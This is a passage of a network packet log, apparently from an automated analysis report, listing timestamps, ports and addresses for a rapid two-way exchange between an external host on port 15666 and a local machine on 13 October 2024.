Oct 13, 2024 01:40:45.310209990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310236931 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310257912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310318947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310339928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310372114 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310388088 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310580969 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310636997 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310755014 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.310807943 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.310973883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311039925 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311055899 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311079025 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311108112 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311130047 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311203003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311263084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311356068 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311376095 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311409950 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311440945 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311451912 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311491013 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311507940 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311537981 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311547995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311600924 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311706066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311897993 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.311937094 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311959982 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.311985970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312036991 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312057972 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312072992 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312084913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312094927 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312128067 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312143087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312144041 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312227964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312309027 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312361002 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312712908 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312732935 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312779903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312798023 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312799931 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312819958 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312840939 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312856913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312859058 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312877893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312895060 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312910080 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312925100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.312931061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312978983 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.312987089 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313008070 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313026905 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313043118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313056946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313065052 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313085079 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313105106 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313108921 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313127041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313150883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313159943 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313179970 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313188076 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313204050 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313210011 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313237906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313249111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313255072 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313296080 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313299894 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313316107 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313345909 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313349962 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313363075 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313399076 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313400984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313422918 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313453913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313455105 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313467979 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313503027 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313510895 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313534021 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313553095 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.313581944 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.313610077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.315232992 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315303087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.315304041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315327883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315362930 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315366030 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.315382957 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.315414906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.315429926 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315448999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315481901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.315501928 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.315548897 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315888882 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.315948009 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.316219091 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316378117 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316447973 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.316515923 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316535950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316593885 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.316715956 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316883087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316917896 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316941023 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.316966057 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.316978931 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.317007065 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.317017078 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.317065001 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.317322016 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.317560911 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.317626953 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.317652941 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.317672968 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.317694902 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.317728996 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.317744970 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.317820072 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.317873955 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.317977905 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.318015099 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.318033934 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.318084002 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.318207979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.318263054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.318670034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.318969965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319030046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319322109 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319379091 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319474936 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319499016 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319529057 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319555044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319598913 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319617987 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319650888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319674969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319709063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319761992 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319766045 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319812059 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319818020 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319861889 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319901943 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.319955111 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.319979906 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320039034 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320094109 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320135117 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320151091 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320171118 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320188999 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320189953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320214033 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320229053 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320240021 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320303917 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320348024 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320384026 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320403099 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320425987 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320436001 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320456028 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320461035 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320485115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320523024 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320549965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320601940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320607901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320656061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320668936 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320704937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320719957 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320727110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320749044 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320766926 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.320969105 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.320991993 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.321022034 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.321027040 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.321052074 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.321067095 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.322422028 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.322582960 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.322604895 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.322642088 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.322666883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.322716951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.322738886 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.322770119 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.322787046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.322838068 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.322895050 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.322899103 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.322952986 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.323271990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.323307991 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.323326111 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.323353052 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.324196100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.324256897 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.324327946 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.324388981 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.324464083 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.324628115 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.324651003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.324665070 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.324691057 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.324708939 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.324743986 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.324795008 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.324809074 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.324842930 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.325463057 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.325500011 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.325563908 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.325644970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.325773001 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.325808048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.325833082 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.325860023 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.325861931 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.325912952 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.325984955 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.326175928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.326231003 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.326275110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.326385975 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.326484919 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.327307940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.327377081 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.327501059 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.327670097 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.327735901 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.327964067 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328057051 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328083038 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328114033 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.328140020 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.328191996 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328249931 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.328313112 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328499079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328562021 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.328567982 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328660965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328716040 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.328725100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.328764915 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.328902006 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329073906 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329096079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329129934 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.329150915 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.329171896 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329225063 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.329401970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329427958 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329503059 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.329689980 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329750061 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.329857111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.329911947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.329953909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330008984 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330050945 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330091953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330102921 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330142021 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330226898 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330250025 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330271959 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330277920 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330295086 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330301046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330324888 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330338001 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330516100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330555916 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330579042 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330584049 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330601931 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330605984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330625057 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330645084 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330645084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330697060 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.330699921 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.330753088 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.332523108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.332596064 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.332669973 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.332706928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.332730055 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.332752943 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.332815886 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.332855940 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.332870007 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.332899094 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.332994938 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333048105 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333056927 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333108902 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333120108 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333173990 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:45.333273888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:45.333334923 CEST	49962	15666	192.168.2.5	79.137.202.152
